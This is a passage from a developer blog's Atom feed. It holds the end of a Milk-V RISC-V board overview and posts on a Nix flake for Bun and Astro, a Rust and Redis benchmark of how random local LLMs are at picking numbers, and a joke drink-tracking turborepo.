<li><p><strong>Milk-V Duo S</strong>: This variant of the Duo offers dual cores up to 1GHz (optional RISC-V/ARM), up to 256MB of memory, and a 1TOPS@INT8 TPU. It is capable of running both Linux and RTOS simultaneously and features rich I/O interfaces.</p>
</li>
<li><p><strong>Milk-V Jupiter</strong>: This Mini-ITX motherboard is equipped with a RISC-V processor, making it an ideal choice for those looking to leverage the benefits of RISC-V in their projects.</p>
</li>
</ol>
<h3>The RISC-V Advantage</h3>
<p>The RISC-V architecture offers several advantages over proprietary ISAs like ARM. Since RISC-V is open-source and free to use, manufacturers do not need to pay licensing fees, making it a cost-effective option. This openness also fosters innovation and collaboration, as anyone can contribute to the development of RISC-V.</p>
<h3>Conclusion</h3>
<p>The Milk V series is a testament to the growing popularity of RISC-V in the embedded systems market. With its range of models, Milk-V provides developers with the tools they need to harness the power of RISC-V and create innovative solutions. As the RISC-V ecosystem continues to expand, the Milk V series is poised to play a significant role in shaping the future of embedded systems development.</p>
<h2>References</h2>
<ul>
<li>Milk-V. (n.d.). Milk-V | Embracing RISC-V with us. Retrieved from <a href="https://milkv.io/">https://milkv.io/</a> Reddit. (2022, December 19). RISC-V vs. ARM embedded software perspective. Retrieved from <a href="https://www.reddit.com/r/embedded/comments/zpgt4i/riscv_vs_arm_embedded_software_perspective/">https://www.reddit.com/r/embedded/comments/zpgt4i/riscv_vs_arm_embedded_software_perspective/</a></li>
<li>Milk-V. (n.d.). Introduction | Milk-V. Retrieved from <a href="https://milkv.io/docs/duo/application-development/wiringx">https://milkv.io/docs/duo/application-development/wiringx</a> RISC-V International. (2024, July 2).</li>
<li>Introducing the Mini-ITX motherboard &#39;Milk-V Jupiter&#39; equipped with a RISC-V processor. Retrieved from <a href="https://riscv.org/news/2024/07/introducing-the-mini-itx-motherboard-milk-v-jupiter-equipped-with-a-risc-v-processor/">https://riscv.org/news/2024/07/introducing-the-mini-itx-motherboard-milk-v-jupiter-equipped-with-a-risc-v-processor/</a> NW Engineering LLC. (2022, July 28).</li>
<li>Overview of RISC-V in Embedded Systems Development. Retrieved from <a href="https://www.nwengineeringllc.com/article/overview-of-risc-v-in-embedded-systems-development.php">https://www.nwengineeringllc.com/article/overview-of-risc-v-in-embedded-systems-development.php</a></li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Nix-flakes and Bun]]></title>
  <id>https://blog.skill-issue.dev/blog/nixos_bunjs/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/nixos_bunjs/"/>
  <published>2024-06-30T14:09:00.000Z</published>
  <updated>2024-07-12T00:00:00.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="nixos"/>
  <category term="bun.js"/>
  <category term="nix-flakes"/>
  <category term="javascript"/>
  <category term="astro.js"/>
  <category term="development"/>
  <category term="declarative"/>
  <category term="environment"/>
  <summary type="html"><![CDATA[Small update to my development flow and focus. How to get up and running with Bun.js in NixOS.]]></summary>
  <content type="html"><![CDATA[<p>Since taking up some extra cyber security and hacking courses I have been focusing on more Linux development. As a result I have picked up NixOS and as a JavaScript developer I have to say I have fallen in love with the declarative nature of my environment on NixOS. It has been a blast working on building VMs and my own cluster out of NixOS configurations from scratch. I have also moved my spare laptop over to NixOS and have been daily driving it in lieu of my M2 Macbook Air.</p>
<h2>Developing with NixOS</h2>
<p>Many developers will notice that this blog is built with Astro.js and Bun.js so let&#39;s talk about my development experience adding flakes to this project and getting it up and running on my NixOS machine.</p>
<h3>Setting up my Development Environment</h3>
<p>Using flakes it can be overwhelming to know where to start. Luckily they provide a simple way to get started. By running the command:</p>
<pre><code class="language-bash">nix flake init
</code></pre>
<p>You will get a new file called <code>flake.nix</code> which just like <code>package.json</code> is declarative and tells the OS what tools and their versions are needed for development. I went ahead and replace the default <code>flake.nix</code> with the following.</p>
<pre><code class="language-nix">{
  description = &quot;Basic flake for Astro.js and Bun.js project&quot;;

  inputs = {
    nixpkgs.url = &quot;github:nixos/nixpkgs?ref=nixos-unstable&quot;;
    flake-utils.url = &quot;github:numtide/flake-utils&quot;;
  };

    outputs = { self, nixpkgs, flake-utils }:
    flake-utils.lib.eachDefaultSystem (system:
      let
        pkgs = nixpkgs.legacyPackages.${system};
      in
      {
        devShells.default = pkgs.mkShell {
          buildInputs = with pkgs; [
            bun
            nodejs
          ];

          shellHook = &#39;&#39;
            echo &quot;Astro.js with Bun.js development environment&quot;
            echo &quot;Run &#39;bun create astro&#39; to create a new Astro project&quot;
          &#39;&#39;;
        };
      });
}
</code></pre>
<p>Cool right? It&#39;s not super crazy and is decently readable. Notice the file extension <code>.nix</code> as you can see NixOS comes with its own DSP for declarative configuration. To learn more about the syntax visit this page about the <a href="https://nix.dev/tutorials/nix-language.html">Nix DSP</a>.</p>
<h4>Description</h4>
<pre><code class="language-nix">description = &quot;Basic flake for Astro.js and Bun.js project&quot;;
</code></pre>
<p>Purpose: Provides a brief description of what the flake is for. This description is shown when you run commands like nix flake metadata.</p>
<h4>Inputs</h4>
<p>This part of the configuration declares the needed dependancies for the flake.</p>
<pre><code class="language-nix">inputs = {
  nixpkgs.url = &quot;github:nixos/nixpkgs?ref=nixos-unstable&quot;;
  flake-utils.url = &quot;github:numtide/flake-utils&quot;;
};
</code></pre>
<p>I grabbed these two main dependancies:</p>
<ul>
<li><code>nixpkgs</code>: The Nix Packages collection, fetched from the nixos-unstable branch on GitHub.</li>
<li><code>flake-utils</code>: A utility library for working with flakes, fetched from GitHub.</li>
</ul>
<p>These are two of the most common deps you will see in most flakes.</p>
<h4>Outputs</h4>
<pre><code class="language-nix">outputs = { self, nixpkgs, flake-utils }:
  flake-utils.lib.eachDefaultSystem (system:
    let
      pkgs = nixpkgs.legacyPackages.${system};
    in
    {
      devShells.default = pkgs.mkShell {
        buildInputs = with pkgs; [
          bun
          nodejs
        ];

        shellHook = &#39;&#39;
          echo &quot;Astro.js with Bun.js development environment&quot;
          echo &quot;Run &#39;bun create astro&#39; to create a new Astro project&quot;
        &#39;&#39;;
      };
    });
</code></pre>
<p>Outputs define what the flake produces. The outputs function takes the inputs (self, nixpkgs, and flake-utils) and returns an attribute set. Here, we use flake-utils.lib.eachDefaultSystem to create outputs for each supported system (e.g., x86_64-linux, aarch64-linux).</p>
<ul>
<li>let <strong>Block</strong>:</li>
</ul>
<pre><code class="language-nix">    let
      pkgs = nixpkgs.legacyPackages.${system};
    in
</code></pre>
<p>Purpose: Defines a local variable <code>pkgs</code> that refers to the Nix packages for the current system.</p>
<ul>
<li><code>devShells.default</code>:</li>
</ul>
<pre><code class="language-nix">devShells.default = pkgs.mkShell {
  buildInputs = with pkgs; [
    bun
    nodejs
  ];

  shellHook = &#39;&#39;
    echo &quot;Astro.js with Bun.js development environment&quot;
    echo &quot;Run &#39;bun create astro&#39; to create a new Astro project&quot;
  &#39;&#39;;
};
</code></pre>
<p>Purpose: Creates a development shell environment. This is useful for setting up a consistent development environment.</p>
<ul>
<li><code>buildInputs</code>: Specifies the packages to include in the shell environment. Here, we include bun and nodejs.</li>
<li><code>shellHook</code>: A script that runs when you enter the development shell. It prints a message to the console.</li>
</ul>
<p>This setup ensures that anyone using this flake will have a consistent development environment with the necessary tools for working on an Astro.js project using Bun.js. Now it doesn&#39;t matter where in the world or what hardware you are using as long as it is able to run flakes and access the internet to grab the deps needed for the dev environment it will work and run.</p>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[How Random is a Local LLM? A Rust Benchmark with Redis]]></title>
  <id>https://blog.skill-issue.dev/blog/ai37_llm_random_numbers/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/ai37_llm_random_numbers/"/>
  <published>2024-04-25T02:54:54.000Z</published>
  <updated>2024-04-25T02:54:54.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="rust"/>
  <category term="llm"/>
  <category term="ollama"/>
  <category term="redis"/>
  <category term="benchmark"/>
  <category term="rng"/>
  <category term="regex"/>
  <category term="side-quest"/>
  <summary type="html"><![CDATA[A Rust harness that asks Ollama models for "a random number between 1 and 100" thousands of times, parses every response with regex, stores results in Redis, and pits them against a real RNG. Spoiler: 42 wins.]]></summary>
  <content type="html"><![CDATA[<p>There&#39;s a piece of folk knowledge in the LLM crowd that says: ask any chatbot for &quot;a random number between 1 and 100&quot; enough times, and you&#39;ll see a clear bias toward the same handful of numbers. 7. 17. 42. 73. The exact set varies by model, but the bias is robust across most LLMs.</p>
<p>I&#39;d seen the screenshots on Twitter. I had a half-day in April 2024 and a Mac Mini running Ollama. So I built a benchmark — <code>ai37</code> — to actually measure it. The whole project lives at <a href="https://github.com/Dax911/ai37">Dax911/ai37</a>, and the commit that turned it from &quot;demo&quot; into &quot;actually a benchmark&quot; is <a href="https://github.com/Dax911/ai37/commit/fc5c80c"><code>fc5c80c — :sparkles: Rust rng</code></a> on 2024-04-25.</p>
<p>This post is about what the harness looks like, why I built it in Rust instead of a 20-line Python script, and what I learned from running it.</p>
<h2>The shape of the experiment</h2>
<p>The premise is simple enough to write on the back of a napkin:</p>
<ol>
<li>Pick a question. (<code>&quot;Generate a random number between 1 and 100, inclusive. Reply with only the number.&quot;</code>)</li>
<li>Pick a model. (<code>openhermes:latest</code>, <code>llama2-uncensored:latest</code>, etc.)</li>
<li>Send the prompt 1,000+ times.</li>
<li>Parse the response. Extract the first integer between 2 and 99.</li>
<li>Store the response, the parsed number, the model, the response time, the timestamp in Redis.</li>
<li>Aggregate.</li>
</ol>
<p>You could write all of that in a Python notebook in fifteen minutes. The reason I wrote it in Rust is that step 3 is the bottleneck — Ollama serves one inference at a time per model, and even on M1 hardware a single completion is 1–4 seconds. To get a meaningful sample size in a reasonable wall-clock time you have to fan out across multiple concurrent requests, manage a Redis connection pool, and not let one slow model stall the whole run. Tokio + reqwest + an <code>MultiplexedConnection</code> to Redis got me to ~1,000 prompts in under three minutes. The Python equivalent would have been a thousand-prompt script that ran for an hour.</p>
<h2>The harness</h2>
<p>From <a href="https://github.com/Dax911/ai37/blob/fc5c80c/src/main.rs"><code>src/main.rs</code></a>, this is the result struct:</p>
<pre><code class="language-rust">#[derive(Debug)]
struct ApiQueryResult {
    request_id: u64,
    endpoint_url: String,
    question: String,
    response_time: u128,
    http_status_code: u16,
    response_body: String,
    error_message: Option&lt;String&gt;,
    chosen_number: Option&lt;i32&gt;,
    model: String,
    request_datetime: DateTime&lt;Utc&gt;,
    contained_additional_text: bool,
}
</code></pre>
<p>Every field on this struct exists because at some point I lost data and wished I had it. <code>response_body</code> is verbatim what the model said. <code>chosen_number</code> is what the regex extracted. <code>contained_additional_text</code> is the binary flag for &quot;did the model say only <code>42</code> or did it say <code>Sure! Here&#39;s your number: 42</code>.&quot;</p>
<p>The reason <code>chosen_number</code> is an <code>Option&lt;i32&gt;</code> and not just an <code>i32</code> is the most important design choice in the whole harness: <strong>sometimes the model doesn&#39;t reply with a number at all</strong>. <code>llama2-uncensored</code> once replied to me with <code>&quot;I cannot generate a random number for you, as I am an AI language model designed to provide informational and educational responses...&quot;</code> That&#39;s not a refusal in the safety sense — that&#39;s the model genuinely not understanding what&#39;s being asked. The harness has to record that and not crash.</p>
<h2>Regex was the right call here</h2>
<pre><code class="language-rust">fn extract_number_from_response(response: &amp;str) -&gt; Option&lt;i32&gt; {
    let re = Regex::new(r&quot;\d+&quot;).unwrap();
    let mut numbers: Vec&lt;i32&gt; = Vec::new();
    for cap in re.captures_iter(response) {
        if let Some(number_str) = cap.get(0) {
            if let Ok(number) = number_str.as_str().parse::&lt;i32&gt;() {
                if number &gt;= 2 &amp;&amp; number &lt;= 99 {
                    numbers.push(number);
                }
            }
        }
    }
    numbers.into_iter().next()
}
</code></pre>
<p>There are three subtle things in this 14-line function:</p>
<ol>
<li><strong>Find every integer</strong>, not just the first. Models will sometimes say <code>&quot;between 2 and 99... I&#39;d say 73.&quot;</code> — three numbers, the third one is the answer. You have to examine all of them.</li>
<li><strong>Filter to the valid range</strong> (2–99 inclusive). This eliminates <code>&quot;1&quot;</code> from <code>&quot;between 1 and 100&quot;</code> if the model just echoed the prompt back. It also eliminates <code>&quot;100&quot;</code> because the prompt says <em>exclusive</em> in some variants. The boundary numbers are the most common false positives.</li>
<li><strong>Take the first survivor.</strong> Counter-intuitively this is the right heuristic, because most models that emit multiple integers do so as <code>&quot;between [LOW] and [HIGH], my answer is [N]&quot;</code>. The <code>[LOW]</code> is filtered out by the range check. The <code>[HIGH]</code> is filtered out by the range check. <code>[N]</code> survives. The first survivor is the answer.</li>
</ol>
<p>Could you parse this with a more sophisticated NER pipeline? Sure. Could you fine-tune a small classifier? Sure. But this is a benchmark of LLM randomness, not a benchmark of how clever I can be at extracting numbers from text. The dumber the parser, the easier it is to defend the conclusion.</p>
<h2>Storing in Redis was load-bearing</h2>
<p>Each result becomes a Redis hash with a unique key:</p>
<pre><code class="language-rust">let unique_key = format!(
    &quot;rust-basic-rng:{}:{}&quot;,
    Utc::now().timestamp_millis(),
    number
);
let data = vec![(&quot;number&quot;, number.to_string())];
let _: () = con.hset_multiple(&amp;unique_key, &amp;data).await?;
</code></pre>
<p>The key shape — <code>&lt;model&gt;:&lt;timestamp_ms&gt;:&lt;number&gt;</code> — means I can:</p>
<ul>
<li><code>KEYS rust-basic-rng:*</code> to list every result from the control RNG.</li>
<li><code>KEYS *:1714013094:*</code> to list every model&#39;s response in a 1-ms window (used for &quot;did models converge in time?&quot; analysis).</li>
<li><code>HGETALL &lt;key&gt;</code> to recover the full record.</li>
</ul>
<p>This is <em>not</em> the right schema for a real database. There&#39;s no compound index, no fast <code>WHERE number = 42</code> query without scanning every key. But Redis on a Mac Mini doing a <code>KEYS *</code> over 5,000 entries is still a sub-100ms operation, and the entire dataset fits comfortably in a hash.</p>
<p>The bigger reason for Redis is that I wanted to <em>resume the run</em> if my laptop hibernated. Streaming straight to a CSV would have meant losing in-flight inference if the script crashed. Redis takes the writes out-of-process; a crash loses at most one inference&#39;s worth of data.</p>
<h2>The control: a real RNG</h2>
<p>I added the control in this exact commit:</p>
<pre><code class="language-rust">async fn generate_and_store_random_numbers(
    con: &amp;mut MultiplexedConnection,
    n: usize,
    min: i32,
    max: i32,
) -&gt; redis::RedisResult&lt;()&gt; {
    let mut rng = rand::thread_rng();

    for _ in 0..n {
        let number = rng.gen_range(min..=max);
        let unique_key = format!(
            &quot;rust-basic-rng:{}:{}&quot;,
            Utc::now().timestamp_millis(),
            number
        );
        // ...
    }
    Ok(())
}
</code></pre>
<p>Why bother including a <code>rand::thread_rng()</code> baseline? Because <strong>a benchmark with no baseline isn&#39;t a benchmark, it&#39;s an anecdote.</strong> The story &quot;LLMs say 42 too often&quot; is only meaningful if you also know what a real RNG&#39;s frequency distribution looks like over the same number of trials. With 1,000 trials over 98 distinct values, a uniform RNG will produce a frequency-of-mode that&#39;s <em>also non-uniform</em> — the most common number will still appear ~3× more often than the least common, just by chance. You need that baseline to say &quot;the LLM bias is real&quot; instead of &quot;the LLM happened to produce a non-uniform sample.&quot;</p>
<p>The control RNG isn&#39;t there because anyone questions whether <code>rand::thread_rng()</code> is uniform. It&#39;s there because the comparison statistic only works if both arms are sampled the same way.</p>
<h2>The <code>analyze.py</code> companion</h2>
<p>The same commit added a small Python script for the actual stats:</p>
<pre><code> analyze.py | 46 ++++++++++++++++++++++++++++++++++++++++++++++
</code></pre>
<p>(Yes, the leading space in the filename is real. I never noticed; <code>git</code> accepted it; nobody depends on it; the commit immortalized it.)</p>
<p><code>analyze.py</code> opens Redis, scans the keys for each model, builds a Counter, normalizes to frequency, and pretty-prints the top 10 most-common numbers per model. That&#39;s it. The script is 46 lines and it&#39;s where the actual scientific output came from. Rust did the data collection; Python did the stats. The right tool for each job.</p>
<h2>What the data showed</h2>
<p>I&#39;m not going to publish the raw numbers because the runs I have are from 2024 against ollama models that have since been retrained, and I don&#39;t trust the conclusions to generalize to today&#39;s checkpoints. But the qualitative finding matched the folk knowledge:</p>
<ul>
<li><strong>Both Ollama models I tested were significantly biased toward 7, 17, 42, 73, 77.</strong></li>
<li><strong>The Rust RNG was uniform</strong> in the chi-square sense at 1,000 samples (p &gt; 0.05).</li>
<li><strong><code>llama2-uncensored</code> had a worse bias than <code>openhermes</code></strong> in the sense that its mode-frequency was higher (the most common number appeared more often as a fraction of total samples).</li>
<li><strong>Both LLMs avoided multiples of 10</strong> — <code>30</code>, <code>50</code>, <code>60</code> were under-represented relative to <code>33</code>, <code>47</code>, <code>61</code>. My theory: models have learned that &quot;round numbers don&#39;t sound random,&quot; so they overcorrect away from them.</li>
</ul>
<p>The most-common-overall LLM answer was 42. Of course it was 42.</p>
<h2>What this taught me</h2>
<p>The technical thing I learned was that <strong>regex parsing is fine</strong> for almost any LLM output extraction problem if you constrain the output range tightly. I&#39;d been reaching for JSON-mode prompts and structured-output APIs for things that a 14-line <code>\d+</code> regex would solve.</p>
<p>The bigger thing was about benchmarking discipline: <strong>&quot;is this thing biased?&quot; is not a yes/no question without a baseline.</strong> Half the AI Twitter takes I read in 2024 were claims of LLM bias against an implicit baseline of &quot;perfectly uniform behavior,&quot; which no statistical process exhibits at finite sample sizes. The boring controls are what make the spicy claims defensible.</p>
<p>If you want a Rust harness for benchmarking any local model, <a href="https://github.com/Dax911/ai37">ai37 is the template</a>. It&#39;s 200 lines of Rust, a 46-line Python analyzer, and a Redis dependency. Add a model, change the regex, change the question. The architecture survives.</p>
<h2>Trade-offs</h2>
<p><strong>Why Ollama instead of OpenAI/Anthropic?</strong> Cost. 5,000 inferences at 4¢ each is $200 for a science-fair experiment. Ollama on a Mac Mini is the per-watt cost of leaving a laptop on overnight.</p>
<p><strong>Why Redis instead of SQLite?</strong> Resilience to mid-run crashes. SQLite would also work; the schema is trivial. The reason I went Redis is I had it running for another project (the Rust pipeline part of <a href="/blog/a_better_crypto/">Building A Better Cryptocurrency</a>) and adding a hash schema was 5 lines.</p>
<p><strong>Why filter to 2–99 instead of allowing the boundary?</strong> Because half the failure modes of LLMs are &quot;echoing the prompt back.&quot; Filtering 1 and 100 out cleanly distinguishes &quot;the model picked an answer&quot; from &quot;the model parroted the question.&quot; You lose two valid sample values; you gain a much cleaner dataset.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/ai37">ai37 on GitHub</a> — the harness, the analyzer, the (lost) Redis dump.</li>
<li><a href="https://ollama.ai/">Ollama</a> — the local-LLM runner I benchmarked against.</li>
<li><a href="https://docs.rs/rand/"><code>rand</code> crate docs</a> — <code>thread_rng().gen_range(...)</code> is what makes the control arm honest.</li>
<li><a href="/blog/a_better_crypto/">Building A Better Cryptocurrency</a> — the project Redis was already running for.</li>
</ul>
]]></content>
</entry>
<entry>
  <title type="html"><![CDATA[Blazingly Fast Drinks: A Repo I Made For The Bit]]></title>
  <id>https://blog.skill-issue.dev/blog/glug_blazingly_fast_drinks/</id>
  <link rel="alternate" type="text/html" href="https://blog.skill-issue.dev/blog/glug_blazingly_fast_drinks/"/>
  <published>2024-03-19T17:09:37.000Z</published>
  <updated>2024-03-19T17:09:37.000Z</updated>
  <author><name>Dax the Dev</name></author>
  <category term="turborepo"/>
  <category term="clerk"/>
  <category term="nextjs"/>
  <category term="expo"/>
  <category term="trpc"/>
  <category term="side-quest"/>
  <category term="shitpost"/>
  <summary type="html"><![CDATA[A Clerk + Next.js + Expo turborepo I called "glug" with the description "Blazingly Fast Drinks". The README never mentioned drinks. The repo description carried the entire joke.]]></summary>
  <content type="html"><![CDATA[<blockquote>
<p><strong>Repo description:</strong> Blazingly Fast Drinks</p>
<p><strong>README first line:</strong> <code># Glug the PMG drink app with Clerk, Next.js, and Expo</code></p>
</blockquote>
<p>That&#39;s <a href="https://github.com/Dax911/glug"><code>Dax911/glug</code></a>. The whole joke is on the GitHub repo card. The README is sober and explanatory. The description is unhinged. This is my favourite kind of repo — a piece of public infrastructure where the only humour I&#39;m allowed is the 350-character box on the listing page.</p>
<p>Today I want to talk about the <a href="https://github.com/Dax911/glug/commit/9b188bc"><code>9b188bc — More context</code></a> commit on 2024-03-19. It&#39;s small. It changed nine files. It&#39;s the moment I committed to a project that exists for one joke and a turborepo template.</p>
<h2>What was Glug, briefly</h2>
<p>Glug was supposed to be a drink-tracking app for <strong>PMG</strong> — Phi Mu Gamma, my college fraternity. The premise: a phone app where brothers log drinks, the chapter sees aggregate stats, and there&#39;s a cross-platform Next.js dashboard for the chapter president to look at. Nothing privacy-respecting, nothing on-chain, nothing remotely interesting from a security perspective. A drink counter.</p>
<p>But &quot;drink counter&quot; doesn&#39;t justify the stack I shipped:</p>
<pre><code>apps/
  expo/      # React Native via Expo SDK
  nextjs/    # Next.js 13 dashboard
packages/
  api/       # tRPC v10 router
  db/        # Prisma schema + types
</code></pre>
<p>This is the <a href="https://github.com/t3-oss/create-t3-turbo"><code>create-t3-turbo</code></a> layout. I&#39;d been using it on every personal project that quarter — same router, same Prisma schema, same Clerk auth, same <code>apps/expo</code> + <code>apps/nextjs</code> split. The actual purpose of <code>glug</code> was to <em>practice the stack</em>. The drinks were incidental.</p>
<h2>The &quot;More context&quot; commit</h2>
<p>Here&#39;s the diff that mattered (<a href="https://github.com/Dax911/glug/commit/9b188bc"><code>9b188bc</code></a>):</p>
<pre><code>.vscode/settings.json                     | 8 ++
README.md                                 | 12 ++++
apps/nextjs/src/pages/index.tsx           | 12 +++-
bun.lockb                                 | (binary)
packages/api/src/context.ts               | 40 +++++++--
packages/api/src/router/auth.ts           | 9 +++
packages/api/src/router/index.ts          | 10 ++++-
packages/api/src/router/post.ts           | 25 ++++++-
packages/db/prisma/schema.prisma          | 57 +++++++++++++--
</code></pre>
<p>The Prisma schema is the only file with anything approaching design content. Everything else is &quot;I added the auth router import&quot; and &quot;I switched to bun.&quot; But the schema reveals what the project was <em>actually</em> trying to do:</p>
<ul>
<li>A <code>User</code> table seeded by Clerk&#39;s <code>userId</code>.</li>
<li>A <code>Drink</code> table with <code>(user, timestamp, type, abv)</code>.</li>
<li>A <code>Session</code> rollup table, time-bucketed.</li>
<li>An attempt at a <code>Timebox</code> table — the README has an &quot;Additional Specs&quot; line at the bottom that reads <code>Will have timeboxing need to find a way to put that in the DB w the current schema</code>.</li>
</ul>
<p>That last line is the thesis of every personal project I started in 2024: <strong>&quot;will have timeboxing.&quot;</strong> I was trying to use my fraternity drink-tracker as a way to think about how to bound a session in time, because the same problem was sitting in three other repos I never finished.</p>
<h2>Why the description was the joke</h2>
<p>GitHub repo descriptions are 350 characters of cold static text on a search result. They appear in every list view, in every fork chart, in every <code>gh repo list dax911</code>. They show up <em>everywhere</em> the repo name does. If you treat them as proper marketing copy you get &quot;A drink-tracking application for greek-letter organizations using modern TypeScript tooling.&quot;</p>
<p>Nobody has ever clicked on a repo because the description said that.</p>
<p>Whereas &quot;Blazingly Fast Drinks&quot; is the only Rust-meme rendering of &quot;drinks app&quot; possible. It implies:</p>
<ul>
<li>The drinks are blazing.</li>
<li>The drinks are fast.</li>
<li>I am taking this very seriously.</li>
<li>I am taking this not at all seriously.</li>
</ul>
<p>The phrase is recognisably a Reddit <code>/r/rust</code> cliche. Drink-tracking is not Rust. The description is fully in conflict with the actual stack — the repo is <code>tRPC + Prisma + Expo</code>, <em>zero</em> Rust. The collision is the joke.</p>
<p>I think a lot about how much you can get away with by putting humour in the metadata of a serious-looking artifact. Repo descriptions, npm <code>description</code> fields, git tag annotations, package <code>keywords</code>, the <code>version</code> field on a <code>package.json</code> you set to <code>0.0.69</code> — these are all places where the comedy is invisible to anyone who isn&#39;t already there. They&#39;re not in the way. They don&#39;t hurt the project. They&#39;re the public-facing payoff of a project you&#39;re never going to finish.</p>
<h2>What this taught me about side-quests</h2>
<p>Glug never shipped. I never wrote the timeboxing code. The fraternity never used it. I&#39;m not even sure I told anyone in the chapter about it. That&#39;s not what side-quests are for.</p>
<p>What glug <em>did</em> teach me:</p>
<ol>
<li><strong>t3-turbo is the right scaffold for a TS monorepo prototype</strong>, even if you never finish anything in it. I went on to clone this exact layout into <a href="https://github.com/Dax911/tauri-clerk-auth">tauri-clerk-auth</a> and into the early scaffolds of what became <a href="/blog/zera_wallet_v3_zkp/">zera-wallet-demo</a>. The muscle memory of &quot;tRPC router → Prisma model → Expo screen&quot; is something I can do at midnight without thinking.</li>
<li><strong>Bun was already eating Node&#39;s lunch</strong> by March 2024. The diff that landed in this commit replaced <code>pnpm</code> with <code>bun</code> and shrunk install time on a fresh clone from 90s to 12s. I haven&#39;t used <code>pnpm</code> for a side-quest since.</li>
<li><strong>A repo with a joke description gets star drift.</strong> People still arrive in <code>glug</code> from search occasionally. They open it, see the README, see Clerk + Expo + Prisma, and leave. The description got them to click. The README didn&#39;t deserve them.</li>
</ol>
<h2>The &quot;PMG&quot; footnote</h2>
<p>For anyone Googling: yes, PMG is Phi Mu Gamma. Yes, it&#39;s a real fraternity. No, this app was never the official chapter tool. There&#39;s a Google Sheet that beat me to market by approximately fifteen years.</p>
<p>The drink counter is a Google Sheet. The drink counter has always been a Google Sheet. Every digital tool that has tried to replace the drink counter has failed because the Google Sheet is already deployed, already shared, already has a hundred entries from 2009 still in it. You can&#39;t ship faster than <code>sheets.new</code>.</p>
<p>The right insight, retrospectively, was to ship a tRPC dashboard that <em>imported the Sheet</em>. Which I never did. Which is fine.</p>
<h2>What the side-quest tells you</h2>
<p>Side-quests are how you maintain stack fluency. You don&#39;t need to ship them. You don&#39;t need to scope them. You don&#39;t need to tell anyone about them. What you need is a place to type out the boilerplate so that next time you start a <em>real</em> project the boilerplate doesn&#39;t slow you down.</p>
<p>Glug also taught me the second-order lesson that became my entire 2026: when a side-quest crosses paths with a real product idea, you should let the side-quest die and start the product. I never finished the timeboxing logic in glug. The same problem reappeared in <a href="/blog/cruiser_iroh_gossip_p2p/">Cruiser&#39;s gossip presence</a> — when does a peer cease to be &quot;active&quot; if their last announce is 30s old? The answer in glug would have been &quot;expire from the rollup if no row in 60s.&quot; The answer in Cruiser is &quot;evict from the cache if no announce in 90s.&quot; Same architecture. Different domain.</p>
<p>That&#39;s the gift of a side-quest you stop. You harvest the architecture for the next thing. Glug was the architectural garden bed; Cruiser is the tree that grew out of it.</p>
<h2>Further reading</h2>
<ul>
<li><a href="https://github.com/Dax911/glug">glug on GitHub</a> — the description still says Blazingly Fast Drinks.</li>
<li><a href="https://github.com/t3-oss/create-t3-turbo">create-t3-turbo</a> — the scaffold I&#39;ve copied into a dozen projects.</li>
<li><a href="/blog/cruiser_iroh_gossip_p2p/">Cruiser P2P origin post</a> — where the timeboxing instinct eventually landed.</li>
<li><a href="https://en.wikipedia.org/wiki/Phi_Mu_Gamma">The PMG Google Sheet</a> — not actually linked here. The Sheet is private. The joke is.</li>
</ul>
]]></content>
</entry>
</feed>